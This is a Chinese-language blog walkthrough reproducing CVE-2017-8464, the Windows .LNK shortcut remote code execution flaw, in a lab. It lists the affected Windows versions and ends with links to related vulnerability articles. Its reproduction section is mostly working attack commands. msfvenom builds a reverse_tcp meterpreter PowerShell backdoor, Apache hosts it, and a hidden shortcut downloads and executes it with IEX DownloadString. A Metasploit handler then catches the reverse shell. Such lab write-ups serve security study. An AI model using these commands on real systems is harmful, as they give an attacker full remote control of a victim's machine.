CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
2023-09-14 09:00:03 时间
前言
2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危
漏洞描述
攻击者可以向用户呈现包含恶意的.LNK文件和相关联的恶意二进制文件的可移动驱动器或远程共享。 当用户在Windows资源管理器或解析.LNK文件的任何其他应用程序中打开此驱动器(或远程共享)时,恶意二进制程序将在目标系统上执行攻击者选择的代码,成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。
注释:.LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。
漏洞利用条件和方式:
远程利用
漏洞影响范围:
- Microsoft Windows 10 Version 1607 for 32-bit Systems
- Microsoft Windows 10 Version 1607 for x64-based Systems
- Microsoft Windows 10 for 32-bit Systems
- Microsoft Windows 10 for x64-based Systems
- Microsoft Windows 10 version 1511 for 32-bit Systems
- Microsoft Windows 10 version 1511 for x64-based Systems
- Microsoft Windows 10 version 1703 for 32-bit Systems
- Microsoft Windows 10 version 1703 for x64-based Systems
- Microsoft Windows 7 for 32-bit Systems SP1
- Microsoft Windows 7 for x64-based Systems SP1
- Microsoft Windows 8.1 for 32-bit Systems
- Microsoft Windows 8.1 for x64-based Systems
- Microsoft Windows RT 8.1
服务器系统
- Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
- Microsoft Windows Server 2008 R2 for x64-based Systems SP1
- Microsoft Windows Server 2008 for 32-bit Systems SP2
- Microsoft Windows Server 2008 for Itanium-based Systems SP2
- Microsoft Windows Server 2008 for x64-based Systems SP2
- Microsoft Windows Server 2012
- Microsoft Windows Server 2012 R2
- Microsoft Windows Server 2016
漏洞复现:
利用原理:
创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒。
环境搭建:
攻击机:kali ip:10.0.0.140
目标靶机:win2008r2x64 ip:192.168.99.104
1.kali下生成一个反弹的 ps1的shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
2.切换到opt目录,然后查看到已生成了search.ps1 的powershell 后门
cd /opt
ls
3.将生成的search.ps1拷贝到/var/www/html目录下
mv search.ps1 /var/www/html ls
4.启动apache服务
service apache2 start
5.访问web下的search.ps1,可以直接访问:
6.在靶机上创建一个powershell远程快捷:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
7.名称为:powershell.exe
8.kali下创建监听反弹,并且可以看到成功反弹出靶机的shell:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 10.0.0.140 set lport 5555 exploit
相关文章
- CVE-2021-43798 Grafana 任意文件读取漏洞分析
- WEB安全基础 - - -命令执行漏洞
- 漏洞复现 - - - WebLogic反序列化远程命令执行漏洞(二)
- 一文了解文件包含漏洞
- Redis未授权访问漏洞复现
- weblogic 权限绕过命令执行漏洞复现
- phpStudy nginx 解析漏洞复现
- GoTTY 未授权远程命令执行漏洞
- 【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍
- 为下一个 Log4Shell 漏洞做好准备 | QCon
- Linux系统漏洞检测保护之路(linux漏洞检测)
- OpenSSL新漏洞曝光:可被用于“中间人”攻击
- 新闻速读 > 2019 年热门开源项目中的漏洞增加了一倍以上
- 硬核观察 | 全球 60% 的电子邮件服务器受到已存在了 17 年的远程漏洞影响
- 360修复MySQL数据库安全漏洞(360修复MySQL漏洞)
- 视频真相+深度解析 | 顶级黑客手把手教你玩 iPhone 奇葩漏洞,如何用一段5秒“毒视频”让朋友的 iPhone 死机
- 浏览器自动填充存漏洞,可能泄露你的个人隐私
- Windows下PHP的任意文件执行漏洞
- php5系列的apache远程执行漏洞攻击脚本